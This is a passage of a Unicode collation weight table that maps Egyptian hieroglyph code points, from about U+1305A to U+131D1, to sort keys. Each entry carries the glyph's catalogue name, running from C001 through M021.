B009 -1305A ; [.4E6D.0020.0002] # EGYPTIAN HIEROGLYPH C001 -1305B ; [.4E6E.0020.0002] # EGYPTIAN HIEROGLYPH C002 -1305C ; [.4E6F.0020.0002] # EGYPTIAN HIEROGLYPH C002A -1305D ; [.4E70.0020.0002] # EGYPTIAN HIEROGLYPH C002B -1305E ; [.4E71.0020.0002] # EGYPTIAN HIEROGLYPH C002C -1305F ; [.4E72.0020.0002] # EGYPTIAN HIEROGLYPH C003 -13060 ; [.4E73.0020.0002] # EGYPTIAN HIEROGLYPH C004 -13061 ; [.4E74.0020.0002] # EGYPTIAN HIEROGLYPH C005 -13062 ; [.4E75.0020.0002] # EGYPTIAN HIEROGLYPH C006 -13063 ; [.4E76.0020.0002] # EGYPTIAN HIEROGLYPH C007 -13064 ; [.4E77.0020.0002] # EGYPTIAN HIEROGLYPH C008 -13065 ; [.4E78.0020.0002] # EGYPTIAN HIEROGLYPH C009 -13066 ; [.4E79.0020.0002] # EGYPTIAN HIEROGLYPH C010 -13067 ; [.4E7A.0020.0002] # EGYPTIAN HIEROGLYPH C010A -13068 ; [.4E7B.0020.0002] # EGYPTIAN HIEROGLYPH C011 -13069 ; [.4E7C.0020.0002] # EGYPTIAN HIEROGLYPH C012 -1306A ; [.4E7D.0020.0002] # EGYPTIAN HIEROGLYPH C013 -1306B ; [.4E7E.0020.0002] # EGYPTIAN HIEROGLYPH C014 -1306C ; [.4E7F.0020.0002] # EGYPTIAN HIEROGLYPH C015 -1306D ; [.4E80.0020.0002] # EGYPTIAN HIEROGLYPH C016 -1306E ; [.4E81.0020.0002] # EGYPTIAN HIEROGLYPH C017 -1306F ; [.4E82.0020.0002] # EGYPTIAN HIEROGLYPH C018 -13070 ; [.4E83.0020.0002] # EGYPTIAN HIEROGLYPH C019 -13071 ; [.4E84.0020.0002] # EGYPTIAN HIEROGLYPH C020 -13072 ; [.4E85.0020.0002] # EGYPTIAN HIEROGLYPH C021 -13073 ; [.4E86.0020.0002] # EGYPTIAN HIEROGLYPH C022 -13074 ; [.4E87.0020.0002] # EGYPTIAN HIEROGLYPH C023 -13075 ; [.4E88.0020.0002] # EGYPTIAN HIEROGLYPH C024 -13076 ; [.4E89.0020.0002] # EGYPTIAN HIEROGLYPH D001 -13077 ; [.4E8A.0020.0002] # EGYPTIAN HIEROGLYPH D002 -13078 ; [.4E8B.0020.0002] # EGYPTIAN HIEROGLYPH D003 -13079 ; [.4E8C.0020.0002] # EGYPTIAN HIEROGLYPH D004 -1307A ; [.4E8D.0020.0002] # EGYPTIAN HIEROGLYPH D005 -1307B ; [.4E8E.0020.0002] # EGYPTIAN HIEROGLYPH D006 -1307C ; [.4E8F.0020.0002] # EGYPTIAN HIEROGLYPH D007 -1307D ; [.4E90.0020.0002] # EGYPTIAN HIEROGLYPH D008 -1307E ; [.4E91.0020.0002] # EGYPTIAN HIEROGLYPH D008A -1307F ; [.4E92.0020.0002] # EGYPTIAN HIEROGLYPH D009 -13080 ; [.4E93.0020.0002] # EGYPTIAN HIEROGLYPH D010 -13081 ; [.4E94.0020.0002] # EGYPTIAN HIEROGLYPH D011 -13082 ; [.4E95.0020.0002] # EGYPTIAN HIEROGLYPH D012 -13083 ; [.4E96.0020.0002] # EGYPTIAN HIEROGLYPH D013 -13084 ; [.4E97.0020.0002] # EGYPTIAN HIEROGLYPH D014 -13085 ; [.4E98.0020.0002] # EGYPTIAN HIEROGLYPH D015 -13086 ; [.4E99.0020.0002] # EGYPTIAN HIEROGLYPH D016 -13087 ; [.4E9A.0020.0002] # EGYPTIAN HIEROGLYPH D017 -13088 ; [.4E9B.0020.0002] # EGYPTIAN HIEROGLYPH D018 -13089 ; [.4E9C.0020.0002] # EGYPTIAN HIEROGLYPH D019 -1308A ; [.4E9D.0020.0002] # EGYPTIAN HIEROGLYPH D020 -1308B ; [.4E9E.0020.0002] # EGYPTIAN HIEROGLYPH D021 -1308C ; [.4E9F.0020.0002] # EGYPTIAN HIEROGLYPH D022 -1308D ; [.4EA0.0020.0002] # EGYPTIAN HIEROGLYPH D023 -1308E ; [.4EA1.0020.0002] # EGYPTIAN HIEROGLYPH D024 -1308F ; [.4EA2.0020.0002] # EGYPTIAN HIEROGLYPH D025 -13090 ; [.4EA3.0020.0002] # EGYPTIAN HIEROGLYPH D026 -13091 ; [.4EA4.0020.0002] # EGYPTIAN HIEROGLYPH D027 -13092 ; [.4EA5.0020.0002] # EGYPTIAN HIEROGLYPH D027A -13093 ; [.4EA6.0020.0002] # EGYPTIAN HIEROGLYPH D028 -13094 ; [.4EA7.0020.0002] # EGYPTIAN HIEROGLYPH D029 -13095 ; [.4EA8.0020.0002] # EGYPTIAN HIEROGLYPH D030 -13096 ; [.4EA9.0020.0002] # EGYPTIAN HIEROGLYPH D031 -13097 ; [.4EAA.0020.0002] # EGYPTIAN HIEROGLYPH D031A -13098 ; [.4EAB.0020.0002] # EGYPTIAN HIEROGLYPH D032 -13099 ; [.4EAC.0020.0002] # EGYPTIAN HIEROGLYPH D033 -1309A ; [.4EAD.0020.0002] # EGYPTIAN HIEROGLYPH D034 -1309B ; [.4EAE.0020.0002] # EGYPTIAN HIEROGLYPH D034A -1309C ; [.4EAF.0020.0002] # EGYPTIAN HIEROGLYPH D035 -1309D ; [.4EB0.0020.0002] # EGYPTIAN HIEROGLYPH D036 -1309E ; [.4EB1.0020.0002] # EGYPTIAN HIEROGLYPH D037 -1309F ; [.4EB2.0020.0002] # EGYPTIAN HIEROGLYPH D038 -130A0 ; [.4EB3.0020.0002] # EGYPTIAN HIEROGLYPH D039 -130A1 ; [.4EB4.0020.0002] # EGYPTIAN HIEROGLYPH D040 -130A2 ; [.4EB5.0020.0002] # EGYPTIAN HIEROGLYPH D041 -130A3 ; [.4EB6.0020.0002] # EGYPTIAN HIEROGLYPH D042 -130A4 ; [.4EB7.0020.0002] # EGYPTIAN HIEROGLYPH D043 -130A5 ; [.4EB8.0020.0002] # EGYPTIAN HIEROGLYPH D044 -130A6 ; [.4EB9.0020.0002] # EGYPTIAN HIEROGLYPH D045 -130A7 ; [.4EBA.0020.0002] # EGYPTIAN HIEROGLYPH D046 -130A8 ; [.4EBB.0020.0002] # EGYPTIAN HIEROGLYPH D046A -130A9 ; [.4EBC.0020.0002] # EGYPTIAN HIEROGLYPH D047 -130AA ; [.4EBD.0020.0002] # EGYPTIAN HIEROGLYPH D048 -130AB ; [.4EBE.0020.0002] # EGYPTIAN HIEROGLYPH D048A -130AC ; [.4EBF.0020.0002] # EGYPTIAN HIEROGLYPH D049 -130AD ; [.4EC0.0020.0002] # EGYPTIAN HIEROGLYPH D050 -130AE ; [.4EC1.0020.0002] # EGYPTIAN HIEROGLYPH D050A -130AF ; [.4EC2.0020.0002] # EGYPTIAN HIEROGLYPH D050B -130B0 ; [.4EC3.0020.0002] # EGYPTIAN HIEROGLYPH D050C -130B1 ; [.4EC4.0020.0002] # EGYPTIAN HIEROGLYPH D050D -130B2 ; [.4EC5.0020.0002] # EGYPTIAN HIEROGLYPH D050E -130B3 ; [.4EC6.0020.0002] # EGYPTIAN HIEROGLYPH D050F -130B4 ; [.4EC7.0020.0002] # EGYPTIAN HIEROGLYPH D050G -130B5 ; [.4EC8.0020.0002] # EGYPTIAN HIEROGLYPH D050H -130B6 ; [.4EC9.0020.0002] # EGYPTIAN HIEROGLYPH D050I -130B7 ; [.4ECA.0020.0002] # EGYPTIAN HIEROGLYPH D051 -130B8 ; [.4ECB.0020.0002] # EGYPTIAN HIEROGLYPH D052 -130B9 ; [.4ECC.0020.0002] # EGYPTIAN HIEROGLYPH D052A -130BA ; [.4ECD.0020.0002] # EGYPTIAN HIEROGLYPH D053 -130BB ; [.4ECE.0020.0002] # EGYPTIAN HIEROGLYPH D054 -130BC ; [.4ECF.0020.0002] # EGYPTIAN HIEROGLYPH D054A -130BD ; [.4ED0.0020.0002] # EGYPTIAN HIEROGLYPH D055 -130BE ; [.4ED1.0020.0002] # EGYPTIAN HIEROGLYPH D056 -130BF ; [.4ED2.0020.0002] # EGYPTIAN HIEROGLYPH D057 -130C0 ; [.4ED3.0020.0002] # EGYPTIAN HIEROGLYPH D058 -130C1 ; [.4ED4.0020.0002] # EGYPTIAN HIEROGLYPH D059 -130C2 ; [.4ED5.0020.0002] # EGYPTIAN HIEROGLYPH D060 -130C3 ; [.4ED6.0020.0002] # EGYPTIAN HIEROGLYPH D061 -130C4 ; [.4ED7.0020.0002] # EGYPTIAN HIEROGLYPH D062 -130C5 ; [.4ED8.0020.0002] # EGYPTIAN HIEROGLYPH D063 -130C6 ; [.4ED9.0020.0002] # EGYPTIAN HIEROGLYPH D064 -130C7 ; [.4EDA.0020.0002] # EGYPTIAN HIEROGLYPH D065 -130C8 ; [.4EDB.0020.0002] # EGYPTIAN HIEROGLYPH D066 -130C9 ; [.4EDC.0020.0002] # EGYPTIAN HIEROGLYPH D067 -130CA ; [.4EDD.0020.0002] # EGYPTIAN HIEROGLYPH D067A -130CB ; [.4EDE.0020.0002] # EGYPTIAN HIEROGLYPH D067B -130CC ; [.4EDF.0020.0002] # EGYPTIAN HIEROGLYPH D067C -130CD ; [.4EE0.0020.0002] # EGYPTIAN HIEROGLYPH D067D -130CE ; [.4EE1.0020.0002] # EGYPTIAN HIEROGLYPH D067E -130CF ; [.4EE2.0020.0002] # EGYPTIAN HIEROGLYPH D067F -130D0 ; [.4EE3.0020.0002] # EGYPTIAN HIEROGLYPH D067G -130D1 ; [.4EE4.0020.0002] # EGYPTIAN HIEROGLYPH D067H -130D2 ; [.4EE5.0020.0002] # EGYPTIAN HIEROGLYPH E001 -130D3 ; [.4EE6.0020.0002] # EGYPTIAN HIEROGLYPH E002 -130D4 ; [.4EE7.0020.0002] # EGYPTIAN HIEROGLYPH E003 -130D5 ; [.4EE8.0020.0002] # EGYPTIAN HIEROGLYPH E004 -130D6 ; [.4EE9.0020.0002] # EGYPTIAN HIEROGLYPH E005 -130D7 ; [.4EEA.0020.0002] # EGYPTIAN HIEROGLYPH E006 -130D8 ; [.4EEB.0020.0002] # EGYPTIAN HIEROGLYPH E007 -130D9 ; [.4EEC.0020.0002] # EGYPTIAN HIEROGLYPH E008 -130DA ; [.4EED.0020.0002] # EGYPTIAN HIEROGLYPH E008A -130DB ; [.4EEE.0020.0002] # EGYPTIAN HIEROGLYPH E009 -130DC ; [.4EEF.0020.0002] # EGYPTIAN HIEROGLYPH E009A -130DD ; [.4EF0.0020.0002] # EGYPTIAN HIEROGLYPH E010 -130DE ; [.4EF1.0020.0002] # EGYPTIAN HIEROGLYPH E011 -130DF ; [.4EF2.0020.0002] # EGYPTIAN HIEROGLYPH E012 -130E0 ; [.4EF3.0020.0002] # EGYPTIAN HIEROGLYPH E013 -130E1 ; [.4EF4.0020.0002] # EGYPTIAN HIEROGLYPH E014 -130E2 ; [.4EF5.0020.0002] # EGYPTIAN HIEROGLYPH E015 -130E3 ; [.4EF6.0020.0002] # EGYPTIAN HIEROGLYPH E016 -130E4 ; [.4EF7.0020.0002] # EGYPTIAN HIEROGLYPH E016A -130E5 ; [.4EF8.0020.0002] # EGYPTIAN HIEROGLYPH E017 -130E6 ; [.4EF9.0020.0002] # EGYPTIAN HIEROGLYPH E017A -130E7 ; [.4EFA.0020.0002] # EGYPTIAN HIEROGLYPH E018 -130E8 ; [.4EFB.0020.0002] # EGYPTIAN HIEROGLYPH E019 -130E9 ; [.4EFC.0020.0002] # EGYPTIAN HIEROGLYPH E020 -130EA ; [.4EFD.0020.0002] # EGYPTIAN HIEROGLYPH E020A -130EB ; [.4EFE.0020.0002] # EGYPTIAN HIEROGLYPH E021 -130EC ; [.4EFF.0020.0002] # EGYPTIAN HIEROGLYPH E022 -130ED ; [.4F00.0020.0002] # EGYPTIAN HIEROGLYPH E023 -130EE ; [.4F01.0020.0002] # EGYPTIAN HIEROGLYPH E024 -130EF ; [.4F02.0020.0002] # EGYPTIAN HIEROGLYPH E025 -130F0 ; [.4F03.0020.0002] # EGYPTIAN HIEROGLYPH E026 -130F1 ; [.4F04.0020.0002] # EGYPTIAN HIEROGLYPH E027 -130F2 ; [.4F05.0020.0002] # EGYPTIAN HIEROGLYPH E028 -130F3 ; [.4F06.0020.0002] # EGYPTIAN HIEROGLYPH E028A -130F4 ; [.4F07.0020.0002] # EGYPTIAN HIEROGLYPH E029 -130F5 ; [.4F08.0020.0002] # EGYPTIAN HIEROGLYPH E030 -130F6 ; [.4F09.0020.0002] # EGYPTIAN HIEROGLYPH E031 -130F7 ; [.4F0A.0020.0002] # EGYPTIAN HIEROGLYPH E032 -130F8 ; [.4F0B.0020.0002] # EGYPTIAN HIEROGLYPH E033 -130F9 ; [.4F0C.0020.0002] # EGYPTIAN HIEROGLYPH E034 -130FA ; [.4F0D.0020.0002] # EGYPTIAN HIEROGLYPH E034A -130FB ; [.4F0E.0020.0002] # EGYPTIAN HIEROGLYPH E036 -130FC ; [.4F0F.0020.0002] # EGYPTIAN HIEROGLYPH E037 -130FD ; [.4F10.0020.0002] # EGYPTIAN HIEROGLYPH E038 -130FE ; [.4F11.0020.0002] # EGYPTIAN HIEROGLYPH F001 -130FF ; [.4F12.0020.0002] # EGYPTIAN HIEROGLYPH F001A -13100 ; [.4F13.0020.0002] # EGYPTIAN HIEROGLYPH F002 -13101 ; [.4F14.0020.0002] # EGYPTIAN HIEROGLYPH F003 -13102 ; [.4F15.0020.0002] # EGYPTIAN HIEROGLYPH F004 -13103 ; [.4F16.0020.0002] # EGYPTIAN HIEROGLYPH F005 -13104 ; [.4F17.0020.0002] # EGYPTIAN HIEROGLYPH F006 -13105 ; [.4F18.0020.0002] # EGYPTIAN HIEROGLYPH F007 -13106 ; [.4F19.0020.0002] # EGYPTIAN HIEROGLYPH F008 -13107 ; [.4F1A.0020.0002] # EGYPTIAN HIEROGLYPH F009 -13108 ; [.4F1B.0020.0002] # EGYPTIAN HIEROGLYPH F010 -13109 ; [.4F1C.0020.0002] # EGYPTIAN HIEROGLYPH F011 -1310A ; [.4F1D.0020.0002] # EGYPTIAN HIEROGLYPH F012 -1310B ; [.4F1E.0020.0002] # EGYPTIAN HIEROGLYPH F013 -1310C ; [.4F1F.0020.0002] # EGYPTIAN HIEROGLYPH F013A -1310D ; [.4F20.0020.0002] # EGYPTIAN HIEROGLYPH F014 -1310E ; [.4F21.0020.0002] # EGYPTIAN HIEROGLYPH F015 -1310F ; [.4F22.0020.0002] # EGYPTIAN HIEROGLYPH F016 -13110 ; [.4F23.0020.0002] # EGYPTIAN HIEROGLYPH F017 -13111 ; [.4F24.0020.0002] # EGYPTIAN HIEROGLYPH F018 -13112 ; [.4F25.0020.0002] # EGYPTIAN HIEROGLYPH F019 -13113 ; [.4F26.0020.0002] # EGYPTIAN HIEROGLYPH F020 -13114 ; [.4F27.0020.0002] # EGYPTIAN HIEROGLYPH F021 -13115 ; [.4F28.0020.0002] # EGYPTIAN HIEROGLYPH F021A -13116 ; [.4F29.0020.0002] # EGYPTIAN HIEROGLYPH F022 -13117 ; [.4F2A.0020.0002] # EGYPTIAN HIEROGLYPH F023 -13118 ; [.4F2B.0020.0002] # EGYPTIAN HIEROGLYPH F024 -13119 ; [.4F2C.0020.0002] # EGYPTIAN HIEROGLYPH F025 -1311A ; [.4F2D.0020.0002] # EGYPTIAN HIEROGLYPH F026 -1311B ; [.4F2E.0020.0002] # EGYPTIAN HIEROGLYPH F027 -1311C ; [.4F2F.0020.0002] # EGYPTIAN HIEROGLYPH F028 -1311D ; [.4F30.0020.0002] # EGYPTIAN HIEROGLYPH F029 -1311E ; [.4F31.0020.0002] # EGYPTIAN HIEROGLYPH F030 -1311F ; [.4F32.0020.0002] # EGYPTIAN HIEROGLYPH F031 -13120 ; [.4F33.0020.0002] # EGYPTIAN HIEROGLYPH F031A -13121 ; [.4F34.0020.0002] # EGYPTIAN HIEROGLYPH F032 -13122 ; [.4F35.0020.0002] # EGYPTIAN HIEROGLYPH F033 -13123 ; [.4F36.0020.0002] # EGYPTIAN HIEROGLYPH F034 -13124 ; [.4F37.0020.0002] # EGYPTIAN HIEROGLYPH F035 -13125 ; [.4F38.0020.0002] # EGYPTIAN HIEROGLYPH F036 -13126 ; [.4F39.0020.0002] # EGYPTIAN HIEROGLYPH F037 -13127 ; [.4F3A.0020.0002] # EGYPTIAN HIEROGLYPH F037A -13128 ; [.4F3B.0020.0002] # EGYPTIAN HIEROGLYPH F038 -13129 ; [.4F3C.0020.0002] # EGYPTIAN HIEROGLYPH F038A -1312A ; [.4F3D.0020.0002] # EGYPTIAN HIEROGLYPH F039 -1312B ; [.4F3E.0020.0002] # EGYPTIAN HIEROGLYPH F040 -1312C ; [.4F3F.0020.0002] # EGYPTIAN HIEROGLYPH F041 -1312D ; [.4F40.0020.0002] # EGYPTIAN HIEROGLYPH F042 -1312E ; [.4F41.0020.0002] # EGYPTIAN HIEROGLYPH F043 -1312F ; [.4F42.0020.0002] # EGYPTIAN HIEROGLYPH F044 -13130 ; [.4F43.0020.0002] # EGYPTIAN HIEROGLYPH F045 -13131 ; [.4F44.0020.0002] # EGYPTIAN HIEROGLYPH F045A -13132 ; [.4F45.0020.0002] # EGYPTIAN HIEROGLYPH F046 -13133 ; [.4F46.0020.0002] # EGYPTIAN HIEROGLYPH F046A -13134 ; [.4F47.0020.0002] # EGYPTIAN HIEROGLYPH F047 -13135 ; [.4F48.0020.0002] # EGYPTIAN HIEROGLYPH F047A -13136 ; [.4F49.0020.0002] # EGYPTIAN HIEROGLYPH F048 -13137 ; [.4F4A.0020.0002] # EGYPTIAN HIEROGLYPH F049 -13138 ; [.4F4B.0020.0002] # EGYPTIAN HIEROGLYPH F050 -13139 ; [.4F4C.0020.0002] # EGYPTIAN HIEROGLYPH F051 -1313A ; [.4F4D.0020.0002] # EGYPTIAN HIEROGLYPH F051A -1313B ; [.4F4E.0020.0002] # EGYPTIAN HIEROGLYPH F051B -1313C ; [.4F4F.0020.0002] # EGYPTIAN HIEROGLYPH F051C -1313D ; [.4F50.0020.0002] # EGYPTIAN HIEROGLYPH F052 -1313E ; [.4F51.0020.0002] # EGYPTIAN HIEROGLYPH F053 -1313F ; [.4F52.0020.0002] # EGYPTIAN HIEROGLYPH G001 -13140 ; [.4F53.0020.0002] # EGYPTIAN HIEROGLYPH G002 -13141 ; [.4F54.0020.0002] # EGYPTIAN HIEROGLYPH G003 -13142 ; [.4F55.0020.0002] # EGYPTIAN HIEROGLYPH G004 -13143 ; [.4F56.0020.0002] # EGYPTIAN HIEROGLYPH G005 -13144 ; [.4F57.0020.0002] # EGYPTIAN HIEROGLYPH G006 -13145 ; [.4F58.0020.0002] # EGYPTIAN HIEROGLYPH G006A -13146 ; [.4F59.0020.0002] # EGYPTIAN HIEROGLYPH G007 -13147 ; [.4F5A.0020.0002] # EGYPTIAN HIEROGLYPH G007A -13148 ; [.4F5B.0020.0002] # EGYPTIAN HIEROGLYPH G007B -13149 ; [.4F5C.0020.0002] # EGYPTIAN HIEROGLYPH G008 -1314A ; [.4F5D.0020.0002] # EGYPTIAN HIEROGLYPH G009 -1314B ; [.4F5E.0020.0002] # EGYPTIAN HIEROGLYPH G010 -1314C ; [.4F5F.0020.0002] # EGYPTIAN HIEROGLYPH G011 -1314D ; [.4F60.0020.0002] # EGYPTIAN HIEROGLYPH G011A -1314E ; [.4F61.0020.0002] # EGYPTIAN HIEROGLYPH G012 -1314F ; [.4F62.0020.0002] # EGYPTIAN HIEROGLYPH G013 -13150 ; [.4F63.0020.0002] # EGYPTIAN HIEROGLYPH G014 -13151 ; [.4F64.0020.0002] # EGYPTIAN HIEROGLYPH G015 -13152 ; [.4F65.0020.0002] # EGYPTIAN HIEROGLYPH G016 -13153 ; [.4F66.0020.0002] # EGYPTIAN HIEROGLYPH G017 -13154 ; [.4F67.0020.0002] # EGYPTIAN HIEROGLYPH G018 -13155 ; [.4F68.0020.0002] # EGYPTIAN HIEROGLYPH G019 -13156 ; [.4F69.0020.0002] # EGYPTIAN HIEROGLYPH G020 -13157 ; [.4F6A.0020.0002] # EGYPTIAN HIEROGLYPH G020A -13158 ; [.4F6B.0020.0002] # EGYPTIAN HIEROGLYPH G021 -13159 ; [.4F6C.0020.0002] # EGYPTIAN HIEROGLYPH G022 -1315A ; [.4F6D.0020.0002] # EGYPTIAN HIEROGLYPH G023 -1315B ; [.4F6E.0020.0002] # EGYPTIAN HIEROGLYPH G024 -1315C ; [.4F6F.0020.0002] # EGYPTIAN HIEROGLYPH G025 -1315D ; [.4F70.0020.0002] # EGYPTIAN HIEROGLYPH G026 -1315E ; [.4F71.0020.0002] # EGYPTIAN HIEROGLYPH G026A -1315F ; [.4F72.0020.0002] # EGYPTIAN HIEROGLYPH G027 -13160 ; [.4F73.0020.0002] # EGYPTIAN HIEROGLYPH G028 -13161 ; [.4F74.0020.0002] # EGYPTIAN HIEROGLYPH G029 -13162 ; [.4F75.0020.0002] # EGYPTIAN HIEROGLYPH G030 -13163 ; [.4F76.0020.0002] # EGYPTIAN HIEROGLYPH G031 -13164 ; [.4F77.0020.0002] # EGYPTIAN HIEROGLYPH G032 -13165 ; [.4F78.0020.0002] # EGYPTIAN HIEROGLYPH G033 -13166 ; [.4F79.0020.0002] # EGYPTIAN HIEROGLYPH G034 -13167 ; [.4F7A.0020.0002] # EGYPTIAN HIEROGLYPH G035 -13168 ; [.4F7B.0020.0002] # EGYPTIAN HIEROGLYPH G036 -13169 ; [.4F7C.0020.0002] # EGYPTIAN HIEROGLYPH G036A -1316A ; [.4F7D.0020.0002] # EGYPTIAN HIEROGLYPH G037 -1316B ; [.4F7E.0020.0002] # EGYPTIAN HIEROGLYPH G037A -1316C ; [.4F7F.0020.0002] # EGYPTIAN HIEROGLYPH G038 -1316D ; [.4F80.0020.0002] # EGYPTIAN HIEROGLYPH G039 -1316E ; [.4F81.0020.0002] # EGYPTIAN HIEROGLYPH G040 -1316F ; [.4F82.0020.0002] # EGYPTIAN HIEROGLYPH G041 -13170 ; [.4F83.0020.0002] # EGYPTIAN HIEROGLYPH G042 -13171 ; [.4F84.0020.0002] # EGYPTIAN HIEROGLYPH G043 -13172 ; [.4F85.0020.0002] # EGYPTIAN HIEROGLYPH G043A -13173 ; [.4F86.0020.0002] # EGYPTIAN HIEROGLYPH G044 -13174 ; [.4F87.0020.0002] # EGYPTIAN HIEROGLYPH G045 -13175 ; [.4F88.0020.0002] # EGYPTIAN HIEROGLYPH G045A -13176 ; [.4F89.0020.0002] # EGYPTIAN HIEROGLYPH G046 -13177 ; [.4F8A.0020.0002] # EGYPTIAN HIEROGLYPH G047 -13178 ; [.4F8B.0020.0002] # EGYPTIAN HIEROGLYPH G048 -13179 ; [.4F8C.0020.0002] # EGYPTIAN HIEROGLYPH G049 -1317A ; [.4F8D.0020.0002] # EGYPTIAN HIEROGLYPH G050 -1317B ; [.4F8E.0020.0002] # EGYPTIAN HIEROGLYPH G051 -1317C ; [.4F8F.0020.0002] # EGYPTIAN HIEROGLYPH G052 -1317D ; [.4F90.0020.0002] # EGYPTIAN HIEROGLYPH G053 -1317E ; [.4F91.0020.0002] # EGYPTIAN HIEROGLYPH G054 -1317F ; [.4F92.0020.0002] # EGYPTIAN HIEROGLYPH H001 -13180 ; [.4F93.0020.0002] # EGYPTIAN HIEROGLYPH H002 -13181 ; [.4F94.0020.0002] # EGYPTIAN HIEROGLYPH H003 -13182 ; [.4F95.0020.0002] # EGYPTIAN HIEROGLYPH H004 -13183 ; [.4F96.0020.0002] # EGYPTIAN HIEROGLYPH H005 -13184 ; [.4F97.0020.0002] # EGYPTIAN HIEROGLYPH H006 -13185 ; [.4F98.0020.0002] # EGYPTIAN HIEROGLYPH H006A -13186 ; [.4F99.0020.0002] # EGYPTIAN HIEROGLYPH H007 -13187 ; [.4F9A.0020.0002] # EGYPTIAN HIEROGLYPH H008 -13188 ; [.4F9B.0020.0002] # EGYPTIAN HIEROGLYPH I001 -13189 ; [.4F9C.0020.0002] # EGYPTIAN HIEROGLYPH I002 -1318A ; [.4F9D.0020.0002] # EGYPTIAN HIEROGLYPH I003 -1318B ; [.4F9E.0020.0002] # EGYPTIAN HIEROGLYPH I004 -1318C ; [.4F9F.0020.0002] # EGYPTIAN HIEROGLYPH I005 -1318D ; [.4FA0.0020.0002] # EGYPTIAN HIEROGLYPH I005A -1318E ; [.4FA1.0020.0002] # EGYPTIAN HIEROGLYPH I006 -1318F ; [.4FA2.0020.0002] # EGYPTIAN HIEROGLYPH I007 -13190 ; [.4FA3.0020.0002] # EGYPTIAN HIEROGLYPH I008 -13191 ; [.4FA4.0020.0002] # EGYPTIAN HIEROGLYPH I009 -13192 ; [.4FA5.0020.0002] # EGYPTIAN HIEROGLYPH I009A -13193 ; [.4FA6.0020.0002] # EGYPTIAN HIEROGLYPH I010 -13194 ; [.4FA7.0020.0002] # EGYPTIAN HIEROGLYPH I010A -13195 ; [.4FA8.0020.0002] # EGYPTIAN HIEROGLYPH I011 -13196 ; [.4FA9.0020.0002] # EGYPTIAN HIEROGLYPH I011A -13197 ; [.4FAA.0020.0002] # EGYPTIAN HIEROGLYPH I012 -13198 ; [.4FAB.0020.0002] # EGYPTIAN HIEROGLYPH I013 -13199 ; [.4FAC.0020.0002] # EGYPTIAN HIEROGLYPH I014 -1319A ; [.4FAD.0020.0002] # EGYPTIAN HIEROGLYPH I015 -1319B ; [.4FAE.0020.0002] # EGYPTIAN HIEROGLYPH K001 -1319C ; [.4FAF.0020.0002] # EGYPTIAN HIEROGLYPH K002 -1319D ; [.4FB0.0020.0002] # EGYPTIAN HIEROGLYPH K003 -1319E ; [.4FB1.0020.0002] # EGYPTIAN HIEROGLYPH K004 -1319F ; [.4FB2.0020.0002] # EGYPTIAN HIEROGLYPH K005 -131A0 ; [.4FB3.0020.0002] # EGYPTIAN HIEROGLYPH K006 -131A1 ; [.4FB4.0020.0002] # EGYPTIAN HIEROGLYPH K007 -131A2 ; [.4FB5.0020.0002] # EGYPTIAN HIEROGLYPH K008 -131A3 ; [.4FB6.0020.0002] # EGYPTIAN HIEROGLYPH L001 -131A4 ; [.4FB7.0020.0002] # EGYPTIAN HIEROGLYPH L002 -131A5 ; [.4FB8.0020.0002] # EGYPTIAN HIEROGLYPH L002A -131A6 ; [.4FB9.0020.0002] # EGYPTIAN HIEROGLYPH L003 -131A7 ; [.4FBA.0020.0002] # EGYPTIAN HIEROGLYPH L004 -131A8 ; [.4FBB.0020.0002] # EGYPTIAN HIEROGLYPH L005 -131A9 ; [.4FBC.0020.0002] # EGYPTIAN HIEROGLYPH L006 -131AA ; [.4FBD.0020.0002] # EGYPTIAN HIEROGLYPH L006A -131AB ; [.4FBE.0020.0002] # EGYPTIAN HIEROGLYPH L007 -131AC ; [.4FBF.0020.0002] # EGYPTIAN HIEROGLYPH L008 -131AD ; [.4FC0.0020.0002] # EGYPTIAN HIEROGLYPH M001 -131AE ; [.4FC1.0020.0002] # EGYPTIAN HIEROGLYPH M001A -131AF ; [.4FC2.0020.0002] # EGYPTIAN HIEROGLYPH M001B -131B0 ; [.4FC3.0020.0002] # EGYPTIAN HIEROGLYPH M002 -131B1 ; [.4FC4.0020.0002] # EGYPTIAN HIEROGLYPH M003 -131B2 ; [.4FC5.0020.0002] # EGYPTIAN HIEROGLYPH M003A -131B3 ; [.4FC6.0020.0002] # EGYPTIAN HIEROGLYPH M004 -131B4 ; [.4FC7.0020.0002] # EGYPTIAN HIEROGLYPH M005 -131B5 ; [.4FC8.0020.0002] # EGYPTIAN HIEROGLYPH M006 -131B6 ; [.4FC9.0020.0002] # EGYPTIAN HIEROGLYPH M007 -131B7 ; [.4FCA.0020.0002] # EGYPTIAN HIEROGLYPH M008 -131B8 ; [.4FCB.0020.0002] # EGYPTIAN HIEROGLYPH M009 -131B9 ; [.4FCC.0020.0002] # EGYPTIAN HIEROGLYPH M010 -131BA ; [.4FCD.0020.0002] # EGYPTIAN HIEROGLYPH M010A -131BB ; [.4FCE.0020.0002] # EGYPTIAN HIEROGLYPH M011 -131BC ; [.4FCF.0020.0002] # EGYPTIAN HIEROGLYPH M012 -131BD ; [.4FD0.0020.0002] # EGYPTIAN HIEROGLYPH M012A -131BE ; [.4FD1.0020.0002] # EGYPTIAN HIEROGLYPH M012B -131BF ; [.4FD2.0020.0002] # EGYPTIAN HIEROGLYPH M012C -131C0 ; [.4FD3.0020.0002] # EGYPTIAN HIEROGLYPH M012D -131C1 ; [.4FD4.0020.0002] # EGYPTIAN HIEROGLYPH M012E -131C2 ; [.4FD5.0020.0002] # EGYPTIAN HIEROGLYPH M012F -131C3 ; [.4FD6.0020.0002] # EGYPTIAN HIEROGLYPH M012G -131C4 ; [.4FD7.0020.0002] # EGYPTIAN HIEROGLYPH M012H -131C5 ; [.4FD8.0020.0002] # EGYPTIAN HIEROGLYPH M013 -131C6 ; [.4FD9.0020.0002] # EGYPTIAN HIEROGLYPH M014 -131C7 ; [.4FDA.0020.0002] # EGYPTIAN HIEROGLYPH M015 -131C8 ; [.4FDB.0020.0002] # EGYPTIAN HIEROGLYPH M015A -131C9 ; [.4FDC.0020.0002] # EGYPTIAN HIEROGLYPH M016 -131CA ; [.4FDD.0020.0002] # EGYPTIAN HIEROGLYPH M016A -131CB ; [.4FDE.0020.0002] # EGYPTIAN HIEROGLYPH M017 -131CC ; [.4FDF.0020.0002] # EGYPTIAN HIEROGLYPH M017A -131CD ; [.4FE0.0020.0002] # EGYPTIAN HIEROGLYPH M018 -131CE ; [.4FE1.0020.0002] # EGYPTIAN HIEROGLYPH M019 -131CF ; [.4FE2.0020.0002] # EGYPTIAN HIEROGLYPH M020 -131D0 ; [.4FE3.0020.0002] # EGYPTIAN HIEROGLYPH M021 -131D1 ; [.4FE4.0020.0002] # EGYPTIAN 